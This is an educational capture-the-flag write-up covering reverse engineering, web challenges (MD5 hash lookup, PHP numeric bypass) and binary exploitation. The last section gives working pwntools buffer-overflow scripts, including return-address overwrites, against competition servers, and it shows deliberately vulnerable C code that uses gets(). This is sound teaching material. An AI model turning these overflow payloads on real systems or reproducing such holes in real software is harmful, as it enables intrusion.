W4505 Capture the Flag V

From Coder Merlin
Within these castle walls be forged Mavens of Computer Science ...
— Merlin, The Coder

This page will serve as a writeup for the CTF V competition problems.

Reverse Engineering[edit]

Stacktastic[edit]

[100 Points] Wth do push and pop mean??? Could you help me out and tell me what the stack will look like (from bottom to top) after this runs.
Hint: The flag is the elements on the stack from bottom to top, wrapped in ahsCTF{}

The challenge also provides the file stacktastic.asm.

When opening stacktastic.asm in a text editor, we see the following assembly code:

section	.text
	global _start
_start:
	push s
	pop ecx
	push s
	push t
	push h
	push i
	pop ecx
	pop ecx
	push a
	push a
	pop ecx
	push c
	push k
	pop ecx
	push u
	pop ecx
	push k
	push s
	push _
	push _
	pop ecx
	push r
	push r
	pop ecx
	push _
	push c
	push o
	push o
	push _
	pop ecx
	pop ecx
	push o
	push l
	
	;;; printing stack
	; code used to print stack has been redacted
	
	;;; exit program
	mov	eax, 1
	int	0x80

;;; constants
section .data
a db 'a'
b db 'b'
c db 'c'
d db 'd'
e db 'e'
f db 'f'
g db 'g'
h db 'h'
i db 'i'
j db 'j'
k db 'k'
l db 'l'
m db 'm'
n db 'n'
o db 'o'
p db 'p'
q db 'q'
r db 'r'
s db 's'
t db 't'
u db 'u'
v db 'v'
w db 'w'
x db 'x'
y db 'y'
z db 'z'
_ db '_'

Prerequisate: https://en.wikipedia.org/wiki/Stack_(abstract_data_type)

This code seems to define some constants that represent letters of the alphabet. These constants are later pushed on and popped off the stack using the push and pop instructions. The ecx after the pop instructions refers to the ecx register of where to store popped data. We can manually figure out what the stack will look like after this code runs by typing whatever characters are pushed in a text file, and clicking backspace upon a pop. We get "stacks_r_cool". We can wrap this in the flag wrapper to get ahsCTF{stacks_r_cool}.

Decompile Trial[edit]

[125 Points] I stole this file off the server, but need to figure out how it works!!! Can you figure out the correct input and get me the flag?

The challenge also provides the executable file decompileTrial.

Let's import this file into Ghidra in order to see the source code. Here's what Ghidra decompiled from the main() function:

void main(void)

{
  long lVar1;
  uint uVar2;
  long in_FS_OFFSET;
  uint input;
  int i;
  uint encodedFlag [38];
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  encodedFlag[0] = 0x62;
  encodedFlag[1] = 0x69;
  encodedFlag[2] = 0x74;
  encodedFlag[3] = 0x44;
  encodedFlag[4] = 0x55;
  encodedFlag[5] = 0x47;
  encodedFlag[6] = 0x7c;
  encodedFlag[7] = 0x65;
  encodedFlag[8] = 0x31;
  encodedFlag[9] = 0x6f;
  encodedFlag[10] = 0x55;
  encodedFlag[11] = 0x60;
  encodedFlag[12] = 0x67;
  encodedFlag[13] = 0x34;
  encodedFlag[14] = 0x41;
  encodedFlag[15] = 0x73;
  encodedFlag[16] = 0x60;
  encodedFlag[17] = 0x75;
  encodedFlag[18] = 0x69;
  encodedFlag[19] = 0x34;
  encodedFlag[20] = 0x60;
  encodedFlag[21] = 0x53;
  encodedFlag[22] = 0x66;
  encodedFlag[23] = 0x77;
  encodedFlag[24] = 0x34;
  encodedFlag[25] = 0x73;
  encodedFlag[26] = 0x25;
  encodedFlag[27] = 0x66;
  encodedFlag[28] = 0x60;
  encodedFlag[29] = 0x66;
  encodedFlag[30] = 0x4f;
  encodedFlag[31] = 0x68;
  encodedFlag[32] = 0x6a;
  encodedFlag[33] = 0x6f;
  encodedFlag[34] = 0x34;
  encodedFlag[35] = 0x34;
  encodedFlag[36] = 0x73;
  encodedFlag[37] = 0x7e;
  i = 0;
  while (i < 0x26) {
    puts("Enter your input! Correct input will be one character of the flag in hex!");
    __isoc99_scanf(&DAT_00102052,&input);
    uVar2 = f(input);
    if (uVar2 == encodedFlag[i]) {
      puts("Correct character!");
    }
    else {
      puts("Incorrect character.");
    }
    i = i + 1;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

The code seems to create an array called encodedFlag and assign values to its indexes. The program then scans user input, runs it through a function called f(), and compares it to the current index of the array. If the values are equal, the program tells us our input is the hex representation of a character in the flag. The program will use a loop to repeat this process for every element in encodedFlag. It seems that we will input one character of the flag at a time (in hex), and the program will tell us if out character was correct. Instead of manually trying every character, we can decode the encodedFlag array. To do this, let's look at how f() encoded our input. Here is the decompiled code for f():

uint f(uint num)

{
  return num + 1;
}

The f() function seems to add 0x1 to whatever character we input. That means that the values in encodedFlag will be 0x1 higher than the actual hex values of the flag. We can subtract 0x1 from every element in encodedFlag to get the actual character of the flag. After doing that, the characters of the flag in hex seem to be:

0x61,0x68,0x73,0x43,0x54,0x46,0x7b,0x64,0x30,0x6e,0x54,0x5f,0x66,0x33,0x40,0x72,0x5f,0x74,0x68,0x33,0x5f,0x52,0x65,0x76,0x33,0x72,0x24,0x65,0x5f,0x65,0x4e,0x67,0x69,0x6e,0x33,0x33,0x72,0x7d

We can covert these hex values to their ASCII representation using online tools. We get ahsCTF{d0nT_f3@r_th3_Rev3r$e_eNgin33r}.

Web Exploitation[edit]

CrackMan[edit]

[125 Points] Help me figure out the password. You might want to learn to crack hashes.
http://104.131.13.12/

We can navigate to this website to access the web challenge. The challenge asks us to enter a password. Our goal is to find the correct password. Let's look at the provided source code to get an idea of how we can do this.

  include "flag.php";

  if ($_POST["password"]) {

    $password = $_POST["password"];
    if (md5($password) == "c13d23675b7a621212c3a6bb07e0e8df") {
      echo ('<h1><div class="alert alert-success centered" role="alert"> Flag: ' . $flag . ' </div></h1>');
    } else {
      echo ('<h1><div class="alert alert-danger centered" role="alert">Sorry, Wrong password!</div></h1>');
    }
    die;
  }

This code reveals that the md5 hash of the correct password is "c13d23675b7a621212c3a6bb07e0e8df". An md5 hash is a one-way function to encode a value and is largely irreversible. However, there are online md5 dictionaries that store strings and their hashes. We can use one of these dictionaries to find out what string produced this hash. We get the string "hackerman". When we input this into the website's password field we get the flag ahsCTF{p@ssw0rd_cr@ck3r}.

Guessgod[edit]

[150 Points] Lets see how lucky you are. Guess the right number to get the flag!
http://104.131.13.12/

We can navigate to the given website to access this web challenge. The website askes us to enter a number into a field. Let's take a look at the source code the website provides to get an idea of how this website works:

  require 'flag.php';

  $usersnum = $_GET['number'];
  if (isset($usersnum)) {
    if (is_numeric($usersnum)) {
      if (strlen($usersnum) > 6) {
        if ($usersnum < 999999 && $usersnum > 999998)

          echo ('<h1><div class="alert alert-success centered" role="alert"> Flag: ' . $flag . ' </div></h1>');
        else
          echo ('<h1><div class="alert alert-danger centered" role="alert">Too Long!</div></h1>');
      } else
        echo ('<h1><div class="alert alert-danger centered" role="alert">Too Short!</div></h1>');
    } else
      echo ('<h1><div class="alert alert-danger centered" role="alert">Please enter a valid number.</div></h1>');
    die;
  }

It appears we need to enter a number more than 6 characters long, less than 999999, and greater than 999998. At first, this may seem impossible. However, this problem has a simple solution, use decimals. We can enter a number such as 999998.5 to satisfy these constraints and print the flag. Upon entering this number, the website tells us the flag is flag{m@aster_guess3r}.

Binary Exploitation[edit]

Floooooooooooooood[edit]

[50 Points] Overflow this buffer located at 165.232.149.158 at port 64501.

The challenge also provides the file flood.c and the executable file flood.

Let's take a look at flood.c by opening it in a text editor:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    int secret = 0x00000000;
    char buffer[12];

    printf("Input text into buffer: ");
    gets(buffer); // This may be a vulnerability...

    if(secret != 0x00000000) {
        printf("You found the flag!\n");
        system("cat flag.txt");
    } else {
        printf("It looks like you didn't overflow the buffer, try again.\n");
    }

    exit(0);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
}

The code seems to create an array of characters that has a size of 12. It then uses the gets() function to put user input into this array. The gets() function is dangerous because it doesn't check the size of the array and will overflow into other memory locations. We want to overflow the buffer array and change the value of the "secret" integer variable in order to concatenate the flag. This is possible because the secret integer will be pushed to the stack before the buffer, and as such will be located after the buffer's address. We can overwrite the secret integer by simply inputting more than 12 characters (the size of the buffer). Let's run this program on the remote server using netcat (remember that the flag is stored only on the server so running the executable locally won't produce the flag):

john-williams@codermerlin:~$  nc 165.232.149.158 64501

Input text into buffer: aaaaaaaaaaaaa
You found the flag!
ahsCTF{y0u_Br0k3_my_bUff3r_:(}

Notice that we inputted 13 'a's and as such changed the value of the secret integer. The program told us our flag is ahsCTF{y0u_Br0k3_my_bUff3r_:(}.

Stack Attack[edit]

[125 Points] Try to overwrite the local variable this time. Make sure you understand the stack frame layout. Consider using the sample script to solve this challenge. The server is located at 143.110.229.120 at port 64502.

This challenge also provides the files sampleScript.py, stackAttack.c, and the executable stackAttack.

Let's start by examining stackAttack.c:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    int secret = 0x00000000;
    char buffer[12];

    printf("Input text into buffer: ");
    gets(buffer); // This may be a vulnerability...

    if(secret == 0x00dec0de) {
        printf("You found the flag!\n");
        system("cat flag.txt");
    } else {
        printf("It looks like you didn't overwrite the secret variable or overwrote using the wrong data.\n");
    }

    exit(0);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
}

This code seems very similar to the Floooooooood, except this time we have to overwrite the secret variable with a specific number (0x00dec0de). Since this code is similar to the last challenge we know that once we input 13 characters we will begin overwriting the secret integer. However, we can verify this with gdb. Let's modify the sample script given to us in order to fill the buffer and set the secret integer equal to 0x00dec0de:

from pwn import *

process = remote('143.110.229.120', 64502)
context.update(arch='amd64', os='linux')

process.recvuntil(': ')

payload = asm(shellcraft.nop()) * 12
payload += p32(0x00dec0de)

process.sendline(payload)

process.interactive()

This script will establish a remote connection with the program on the server and input 12 0x90s to fill the buffer followed by 0x00dec0de formatted to fit a 32bit integer. We can run this script using:

john-williams@codermerlin:~$  python3 sampleScript.py

The remote program prints out ahsCTF{attt@ckiNg_sT@ck$_iS_whAck}.

RIP RIP[edit]

[200 Points] Instead of overwriting a variable this time, we’re overwriting the return address… twice. Make sure you understand the layout of a stack frame. You can modify the sample script from “Stack Attack” to solve this challenge. The server is located at 165.232.149.163 on port 64503.

The challenge also provides the file riprip.c and the executable file riprip.

Let's examine riprip.c:

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

bool check = false;

void win() {
  if(check == true) {
    printf("You win!!!!!!!!!!!!!!\n");
    system("cat flag.txt");
  } else {
    printf("You didn't set the check variable.");
  }

  exit(0);
}

void setCheck() {
  check = true;
  printf("setCheck() is jumping to this return address: %p\n", __builtin_return_address(0));
}

void vuln() {
  char buffer[16];
  printf("The win() function is located at: %p\n", win);
  printf("The setCheck() function is located at: %p\n", setCheck);
  printf("Input something: ");
  gets(buffer);
  printf("vuln() is jumping to this return address: %p\n", __builtin_return_address(0));
}

void main() {
  setvbuf(stdout, NULL, _IONBF, 0);

  vuln();
}

This program seems to call a function called vuln() which uses the exploitable gets() function. This will allow us to overwrite the return address in the vuln() stack frame with the address of setCheck(). Then, we can set setCheck()'s return address to the location of the win() function. We can't directly return to the win() function because then the check variable wouldn't be true and win() wouldn't print the flag. In order to develop an exploit for this, we must get the addresses of the setCheck() and win() functions, as well as find out where the return addresses are stored on the stack. We can use GDB to do this:

john-williams@codermerlin:~$  gdb riprip

(gdb)  start

(gdb)  br vuln

This will start debugging the riprip executable and create a breakpoint (stopping point) at the beginning of the vuln() function.

(gdb)  info frame

Stack level 0, frame at 0x7fffffffe010:
 rip = 0x4011e0 in vuln; saved rip = 0x40127d
 called by frame at 0x7fffffffe020
 Arglist at 0x7fffffffe000, args: 
 Locals at 0x7fffffffe000, Previous frame's sp is 0x7fffffffe010
 Saved registers:
  rbp at 0x7fffffffe000, rip at 0x7fffffffe008

This told us that the return address (rip) is 0x8 bytes after the local variables, which in this case is the buffer that we will overflow.

(gdb)  info address setCheck

Symbol "setCheck" is at 0x4011b6 in a file compiled without debugging.

(gdb)  info address win

Symbol "win" is at 0x401172 in a file compiled without debugging.

These lines told us the locations of the setCheck() and win() functions. Now we can develop and exploit by modifying the sample script from the previous challenge:

from pwn import *

context.update(arch='amd64', os='linux')
ps = remote('165.232.149.163', 64503)

print(ps.recvuntil('something: '))

payload = asm(shellcraft.nop())*(16+8)
payload += p64(0x00000000004011b6)
payload += p64(0x0000000000401172)

ps.sendline(payload)

ps.interactive()

After connecting to the remote program, this script will fill the buffer (16 bytes) and fill the empty space between the return address and the buffer (8 bytes). Then we will overwrite the return address to point to the setCheck() function and format it for a 64bit little-endian system using the p64() function. Finally, we append the address of the win() function. Running this script will cause the remore program to print ahsCTF{RIP_st@cK_2021-2021}.

Pointer Mutilation[edit]

[250 Points] Have fun! 104.131.54.59:64504

The challenge also provides the file mutilate.c and the executable file mutilate.

Let's take a look at mutilate.c:

#include <stdio.h>
#include <stdlib.h>

void win() {
  printf("You win!!!!!!!!!!!!!!\n");
  system("cat flag.txt");
}

void vuln() {
  char buffer[16];
  printf("You may want to get the address of the RIP (return address) location and win() location\n");
  printf("Input something: ");
  gets(buffer);
  printf("Jumping to this return address: %p\n", __builtin_return_address(0));
}

void main() {
  setvbuf(stdout, NULL, _IONBF, 0);

  vuln();
}

This challenge seems to require us to overflow the buffer and overwrite the return address in order to point to the win() function. However, this challenge doesn't print out the win() function's address. Let's run the checksec command included with Pwntools in order to analyze the security features this executable has:

john-williams@codermerlin:~$  checksec mutilate

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Notice that the checksec command informs us that PIE is disabled. PIE (Position Independent Executables) are executable files that can run from various locations in memory. With PIE disabled, we can guarantee this executable will run at the same location every time. That means that any addresses we find on the executable given to use will match those on the server. That being said, let's locate the address of the win() function using GDB:

(gdb)  info address win

GDB tells us the win address is located at 0x0000000000401162. We can also use GDB's "info frame" command from within the stack frame for vuln() to see that the return address is 8 bytes after the buffer. With that in mind, let's create an exploit script:

from pwn import *

context.update(arch='amd64', os='linux')
ps = remote('104.131.54.59', 64504)

ps.recvuntil(': ')

payload = asm(shellcraft.nop())*(16+8)
payload += p64(0x0000000000401162)

ps.sendline(payload)

ps.interactive()

This script will connect to the remote program and fill the buffer and space between the return address, followed by the address of the win() function. Running this script outputs ahsCTF{r3turn_0f_th3_jed!}.